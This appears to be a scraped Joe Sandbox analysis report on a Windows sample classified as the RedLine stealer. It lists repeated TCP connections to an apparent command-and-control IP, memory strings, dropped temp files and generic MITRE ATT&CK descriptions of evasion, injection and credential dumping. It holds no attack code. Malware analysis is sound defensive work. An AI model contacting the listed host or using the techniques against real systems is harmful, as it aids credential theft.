Source: 2MNB4UhUqR.exe, 00000002.00000002.383669619.0000000004078000.00000004.00000800.00020000.00000000.sdmp, 2MNB4UhUqR.exe, 00000002.00000002.382773057.0000000003F4F000.00000004.00000800.00020000.00000000.sdmp, 2MNB4UhUqR.exe, 00000002.00000002.390545880.0000000007347000.00000004.00000800.00020000.00000000.sdmp, 2MNB4UhUqR.exe, 00000002.00000002.380535623.0000000003C53000.00000004.00000800.00020000.00000000.sdmp, tmp2379.tmp.2.dr, tmp233A.tmp.2.dr, tmp23D9.tmp.2.dr, tmp24D6.tmp.2.dr, tmp2535.tmp.2.dr, tmp2339.tmp.2.dr, tmp25D4.tmp.2.dr, tmp2438.tmp.2.dr, tmp2574.tmp.2.dr, tmp23A9.tmp.2.dr, tmp2477.tmp.2.dr, tmp25A4.tmp.2.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20
Source: unknown	TCP traffic detected without corresponding DNS query: 194.190.152.20

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2MNB4UhUqR.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: RedLine

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\2MNB4UhUqR.exe.log

C:\Users\user\AppData\Local\Temp\tmp217D.tmp

C:\Users\user\AppData\Local\Temp\tmp21AD.tmp

C:\Users\user\AppData\Local\Temp\tmp223B.tmp

C:\Users\user\AppData\Local\Temp\tmp223C.tmp

C:\Users\user\AppData\Local\Temp\tmp22AA.tmp

C:\Users\user\AppData\Local\Temp\tmp22AB.tmp

C:\Users\user\AppData\Local\Temp\tmp2339.tmp

C:\Users\user\AppData\Local\Temp\tmp233A.tmp

C:\Users\user\AppData\Local\Temp\tmp2379.tmp

C:\Users\user\AppData\Local\Temp\tmp23A9.tmp

C:\Users\user\AppData\Local\Temp\tmp23D9.tmp

C:\Users\user\AppData\Local\Temp\tmp2438.tmp

C:\Users\user\AppData\Local\Temp\tmp2477.tmp

C:\Users\user\AppData\Local\Temp\tmp24D6.tmp

C:\Users\user\AppData\Local\Temp\tmp2535.tmp

C:\Users\user\AppData\Local\Temp\tmp2574.tmp

Windows Analysis Report
2MNB4UhUqR.exe